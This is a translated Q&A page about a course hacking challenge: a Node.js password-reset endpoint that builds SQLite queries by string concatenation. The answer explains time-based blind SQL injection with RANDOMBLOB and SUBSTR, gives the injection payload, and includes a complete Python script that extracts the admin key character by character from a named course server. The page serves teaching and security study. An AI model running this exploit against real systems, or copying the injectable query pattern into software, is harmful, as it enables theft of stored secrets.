Encuentre la vulnerabilidad en el servicio web node.js para revelar la clave secreta para el administrador

3

He intentado resolver el siguiente desafío de "piratería" para obtener experiencia con las vulnerabilidades de la web.

El servicio está programado en node.js y está accesible como enlace :

app.post ("/reset/", function (req, res) {
    var user = req.body.username;
    if (!user) {
      res.send("no username provided");
    } else {
      db.get (
        "select * from users where username='" + user + "'",
        function (err, row) {
          // ...
          if (row) {
            // ... send email because we have a real response
          }
          res.send("password reset email has been queued");
        })
    }
})

Los detalles para enviar correos electrónicos son irrelevantes y están comentados (como en el desafío).

Los datos se almacenan en una base de datos SQLite 3 simple. Las tablas de usuarios utilizadas por el servicio se crean utilizando la siguiente consulta de creación de SQL:

CREATE TABLE users(username text, passwordhash text, key text)

Existe al menos un usuario en la base de datos, con el nombre de usuario admin .

Goz :

Obtenga la clave privada para el usuario admin .

Mi intento:

He intentado la inyección SQL, por ejemplo. con user establecido en ' OR ''=' , sin embargo, no pasa nada ... Además, he leído artículos sobre MS SQL que admiten la función EXECUTE() , pero no puedo encontrar el equivalente en SQLite. Con tal función, en principio podría ejecutar comandos de shell como nslookup .

Es obvio que el único punto donde este servicio es vulnerable es la llamada db.get() , y como los detalles para enviar correos electrónicos son irrelevantes, entonces de alguna manera debo hacer que la base de datos envíe la clave privada para admin (motivo de EXECUTE() call).

Estoy atrapado en este desafío después de pasar muchas horas, así que creo que es hora de pedir ayuda a la comunidad.

    
pregunta Shuzheng 03.04.2017 - 20:13
fuente

1 respuesta

3

La aplicación parece ser resistente a las consultas de SQL mal formadas y no envía información de error directamente al usuario. Por lo tanto, si la aplicación no genera explícitamente la clave almacenada, deberíamos intentar recuperarla por otros medios.

Una técnica de inyección de SQL más sutil es la de consultas de SQL con tiempo : para obtener información sobre lo que está almacenado en la base de datos, haremos preguntas que demoren "mucho" tiempo en ejecutarse si exitoso , de lo contrario terminan "rápido". La definición de exitoso depende de la aplicación, pero normalmente significaría que nuestra consulta devuelve un resultado. Además, la aplicación parametriza los tiempos de ejecución "rápidos" y "largos".

Ahora, ya que sabe que la base de datos es una base de datos SQLite , debemos buscar una función que demoraría "mucho tiempo" en ejecutarse. Algunas bases de datos tienen la opción canónica de SLEEP() disponible, pero SQLite no proporciona dicha funcionalidad. En cambio, podríamos confiar en el RANDOMBLOB() , que genera una secuencia de bits aleatorios.

¿Cuánto tiempo tarda en ejecutarse RANDOMBLOB() ? Bueno, esto debe ser medido por el atacante, y la medida resultante determinará (en parte) el significado de los tiempos de ejecución "rápidos" y "largos". De hecho, sería más preciso usar la función SLEEP() , pero RANDOMBLOB() será suficiente para nuestros propósitos.

Otra función que resultará útil para extraer la clave es SUBSTR() : Extraemos la clave carácter por carácter con una respuesta "larga" que significa éxito, mientras que una respuesta "rápida" significa que falla.

Como sabemos que se garantiza que admin está en la base de datos, enviamos una solicitud POST con el siguiente valor para username :

"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

Esta cadena se sustituye por user por la aplicación en la cadena de consulta:

 "select * from users where username='" + user + "'"

Esto es rendimiento de turnos:

"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

De hecho, vemos que si ch coincide con key en la posición pos , entonces se ejecuta RANDOMBLOB() y la respuesta tardará un tiempo "largo" en llegar. De lo contrario, la respuesta llegará "rápido".

Un script en Python para extraer la clave secreta (PGP):

Tenga en cuenta que podría ser necesario ajustar el parámetro timeout de acuerdo con la carga del servidor y el tiempo de ejecución de RANDOMBLOB() .

import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

Espero que esto ayude!

    
respondido por el Nicolas Lykke Iversen 14.04.2017 - 16:05
fuente

Lea otras preguntas en las etiquetas